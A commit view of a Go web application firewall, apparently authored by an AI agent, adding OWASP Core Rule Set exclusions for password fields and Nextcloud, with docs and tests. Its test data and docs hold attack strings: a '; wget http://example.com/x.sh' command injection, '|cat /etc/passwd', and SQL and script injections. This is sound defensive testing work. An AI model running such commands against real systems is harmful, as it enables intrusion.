Author SHA1 Message Date
clawbot 4dbd134d49 Core Rule Set: random passwords pass at sign-in (closes #276)
check / check (push) Waiting to run
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. An SQL injection or a path traversal sent as a password now
passes; a script injection is still refused.

Model: opus-5-5
2026-11-10 09:31:51 +00:00
clawbot 463a19ef2a Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Successful in 5m6s
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5
2026-11-10 09:43:18 +01:00
clawbot c557b175ad Core Rule Set tests: inspect requests with no body and no Content-Type once (closes #281)
check / check (push) Failing after 4m25s
wantRecordedRequestsPass inspects a recorded request with neither a body
nor a Content-Type header only at the defaults, as the WordPress test does
for a request with no body. With neither, the set that reads bodies has
nothing more to check: what it adds picks how to read a body from the
Content-Type, then reads the body. Every other request is still inspected
both ways. This cuts the package's CPU time under -race by about a fifth.

Model: opus-5-5
2026-11-10 09:43:11 +01:00
14 changed files with 2991 additions and 62 deletions

No files matched your search

+8 -1
View File
@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
@@ -599,6 +599,13 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
posts and deliveries from other servers get through.
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
addresses and encrypted file names get through.
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
WebDAV methods, searches, file names, account names, comments and
documents do too.
- A password made of any printable characters gets through these forms:
- signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
- signing in, signing up, changing the password, and moving or deleting the
account, on Mastodon.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
+144 -12
View File
@@ -81,7 +81,7 @@ to them.
of bans is full.
- `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the thirteen changes
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
listed under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup
database.
@@ -676,7 +676,7 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions. The eighth to thirteenth changes below hold
holds an app's own exclusions. The eighth to fourteenth changes below hold
those of the apps they name.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own
@@ -723,7 +723,7 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
it would refuse ordinary requests to these apps:
- gitea;
@@ -731,20 +731,24 @@ it would refuse ordinary requests to these apps:
- Drupal;
- MediaWiki;
- Mastodon;
- Vaultwarden.
- Vaultwarden;
- Nextcloud.
The changes hold in front of every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them.
Other methods stay refused.
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
fourteenth change allows the WebDAV methods Nextcloud uses.
2. The request header `Expect` is allowed, since curl and git send it before
some large uploads. `Content-Encoding` is allowed on a request whose body the
Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. The other headers the Core Rule Set refuses, such
as `Proxy`, stay refused.
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
body the fourteenth change leaves unread. The other headers the Core Rule Set
refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -764,10 +768,10 @@ The changes hold in front of every app, and no setting undoes them:
catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules. The eighth to
thirteenth changes switch some of them off for some fields on the paths of
gitea, WordPress, Drupal, MediaWiki, Mastodon and Vaultwarden. An app that
uses one of these parameters as a file on the server, or passes it to a
shell, must check the value itself. A rule file can refuse it instead.
fourteenth changes switch some of them off for some fields on the paths of
the apps they name. An app that uses one of these parameters as a file on
the server, or passes it to a shell, must check the value itself. A rule
file can refuse it instead.
5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
@@ -915,7 +919,14 @@ The changes hold in front of every app, and no setting undoes them:
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `pwd`, the password when signing in, for each rule that random
passwords set off (920270, 920540, 921200, 930100, 930110, 930120,
932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210,
941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230,
942290, 942320, 942540, 942550, 944150). An SQL injection or a path
traversal sent as the password reaches WordPress. A script injection
is still refused.
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
@@ -983,6 +994,13 @@ The changes hold in front of every app, and no setting undoes them:
- The body and comment body on the node and comment forms and through
JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `pass`, the password when signing in, in form data or JSON, for each rule
that random passwords set off (920270, 920540, 921200, 930100, 930110,
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
942540, 942550, 944150). An SQL injection or a path traversal sent as the
password reaches Drupal. A script injection is still refused.
- `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
@@ -1062,6 +1080,16 @@ The changes hold in front of every app, and no setting undoes them:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
- The passwords when signing in, for each rule that random passwords set off
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
- `wpPassword` on MediaWiki's pages;
- `lgpassword` and `password` on `/api.php`.
An SQL injection or a path traversal sent as a password reaches
MediaWiki. A script injection is still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1188,6 +1216,23 @@ The changes hold in front of every app, and no setting undoes them:
Each name contains `.forward`, a file in a home folder. So 930120 refused
every report the web app sent. The keys' values keep every rule.
The passwords in a body skip each rule that random passwords set off
(920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150):
- on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
under them:
- `user[password]`, `user[password_confirmation]` and
`user[current_password]`;
- `account_migration[current_password]` and
`form_redirect[current_password]`;
- `form_delete_confirmation[password]`;
- `password` on `/api/v1/accounts`, in form data or JSON.
An SQL injection or a path traversal sent as a password reaches Mastodon. A
script injection is still refused.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
@@ -1270,6 +1315,93 @@ The changes hold in front of every app, and no setting undoes them:
Elsewhere these fields keep every rule. An app other than Vaultwarden that
serves one of these paths must check these fields itself.
14. On Nextcloud's paths, some fields skip the rules that refused ordinary
Nextcloud requests there, and its WebDAV methods are allowed.
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
refused.
The sync client and the Files app use WebDAV on these paths:
- `/remote.php/dav/`;
- `/public.php/dav/`;
- `/remote.php/webdav/`;
- `/public.php/webdav/`.
These methods are allowed there, besides those of the first change:
- `PROPFIND` and `PROPPATCH`;
- `MKCOL`;
- `COPY` and `MOVE`;
- `REPORT` and `SEARCH`;
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
A file the Files app or the sync client uploads with `PUT` to these paths is
a file, not form data. The Core Rule Set does not read the body of a `PUT`
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
are still checked.
The cookie `nc_username` holds the name of the account signed in. It skips
the lists of system files and command names (930120, 932120, 932250, 932260)
on every path, since every request sends it.
These fields skip the same four rules, in the query or the body:
- On `/login`, for signing in:
- `user` and `password`;
- `redirect_url`, the page to go to after signing in.
- `dir`, the folder shown, on the paths under `/apps/files/`.
- The file names on a public share:
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
- `path` and `files` on `/s/<token>/download`.
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
- the searches `search` and `term`, and `from`, the page searched from;
- the names `groupid`, `userid`, `displayName` and `groups[]`;
- `value`, a new value of an account's details;
- `path`, `label` and `shareWith`, for a share.
These fields of a JSON body skip the same four rules:
- On the OCS API, each field of the list above.
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
the theming settings.
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
`password` in the body of `/login`, the password when signing in, skips each
rule that random passwords set off (920270, 920540, 921200, 930100, 930110,
930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280,
932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100,
941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
942540, 942550, 944150). It applies only when the query has no `password`
parameter. An SQL injection or a path traversal sent as the password reaches
Nextcloud. A script injection is still refused.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
API and on each share under it;
- `message`, an account's status, on
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
- `message` in the JSON body that posts a comment to
`/remote.php/dav/comments/files/<id>`;
- the XML body of a `PROPPATCH` that edits a comment;
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
document.
These fields skip the same four rules. They also skip the rules that refused
ordinary sentences there, such as `It is fixed; diff attached` (932125,
932230, 932235, 932380). A share's note and a status skip them in the query
or the body. A document's text skips two more, which refused a shell script
in a code block (932160, 932370). So a shell command such as
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
injection, path traversal and script injection are still refused there.
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
skips the four rules.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule. An app other than
Nextcloud that serves one of these paths must check these fields itself.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.
+18 -6
View File
@@ -1,6 +1,6 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
@@ -35,8 +35,8 @@ import (
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, and vaultwardenExclusions for the
// eighth.
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// and nextcloudExclusions for the ninth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -99,7 +99,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# So does the twelfth.
%s
# And the thirteenth.
# So does the thirteenth.
%s
# And the fourteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
@@ -228,6 +231,14 @@ var mastodonExclusions string
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
@@ -341,7 +352,7 @@ type CoreRuleSet struct {
bodyLimit int64
}
// New returns the Core Rule Set with the thirteen changes, at params'
// New returns the Core Rule Set with the fourteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
@@ -370,7 +381,8 @@ func New(params Params) (*CoreRuleSet, error) {
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions)
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
+275 -6
View File
@@ -1,8 +1,10 @@
package coreruleset_test
import (
"context"
"encoding/json"
"fmt"
"math/rand/v2"
"net/http"
"net/http/httptest"
"net/netip"
@@ -202,7 +204,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
}
// wantChange checks that crs lets through passes, a request one of the
// thirteen changes is for, and still finds result in refused, a request like
// fourteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
@@ -605,22 +607,269 @@ func giteaRequests(t *testing.T) []request {
return requests
}
// An SQL injection and a script injection, as a query value. Every app's
// tests check that its fields still refuse them.
// An SQL injection, a script injection and a shell command after a ";", as
// query values. Every app's tests check that its fields still refuse the
// first two.
const (
sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
)
// passwordField is the form data field password, ending in "=", in which
// several apps take a password.
const passwordField = "password="
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
func randomPassword(random *rand.Rand) string {
const length = 20
var printable []byte
for c := byte(' '); c <= '~'; c++ {
printable = append(printable, c)
}
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in the field name. Coraza checks each value of a field
// on its own, and keeps every value of a JSON key sent more than once.
func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
t.Helper()
if r.headers[0] != jsonBody {
return formBody(name, passwords...)
}
values := make([]string, len(passwords))
for i, password := range passwords {
pair, err := json.Marshal(map[string]string{name: password})
if err != nil {
t.Fatal(err)
}
values[i] = strings.Trim(string(pair), "{}")
}
return "{" + strings.Join(values, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
"http://git.example/", strings.NewReader(body))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
body := passwordBody(t, r, name, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, name, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksRefused checks that each of attacks, sent as the whole
// password in the field name of r's body, is refused while bodies are read.
func wantPasswordAttacksRefused(
t *testing.T, r request, name string, attacks ...string,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range attacks {
body := passwordBody(t, r, name, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
attack, got)
}
}
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. Each request runs as its own parallel subtest.
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
t.Helper()
@@ -639,6 +888,15 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
}
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
})
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
@@ -1330,6 +1588,17 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
}
func TestWordPressPasswordsPass(t *testing.T) {
t.Parallel()
signIn := request{http.MethodPost, wpLogin, []string{formData}}
wantRandomPasswordsPass(t, signIn, "pwd")
// No rule pwd keeps catches the SQL injection or the path traversal.
wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag)
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
+40
View File
@@ -184,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900819,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
# A person's name and email address, when signing up, when editing an
# account and when commenting without an account. A name of python3 refused
# signing up, and python3@example.com refused saving an account. An address
+19 -1
View File
@@ -109,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
{reply, drupalName + attack},
{drupalSignIn, "pass=" + attack},
{drupalSignIn, drupalName + attack},
{"/fr/user/login", drupalName + attack},
{"/user/register", drupalName + attack},
@@ -172,6 +171,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestDrupalPasswordPasses(t *testing.T) {
t.Parallel()
for _, r := range []request{
{http.MethodPost, drupalSignIn, []string{formData}},
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
} {
t.Run(r.target, func(t *testing.T) {
t.Parallel()
wantRandomPasswordsPass(t, r, "pass")
// No rule pass keeps catches the SQL injection or the path
// traversal.
wantPasswordAttacksRefused(t, r, "pass", scriptTag)
})
}
}
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
t.Parallel()
+79
View File
@@ -176,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
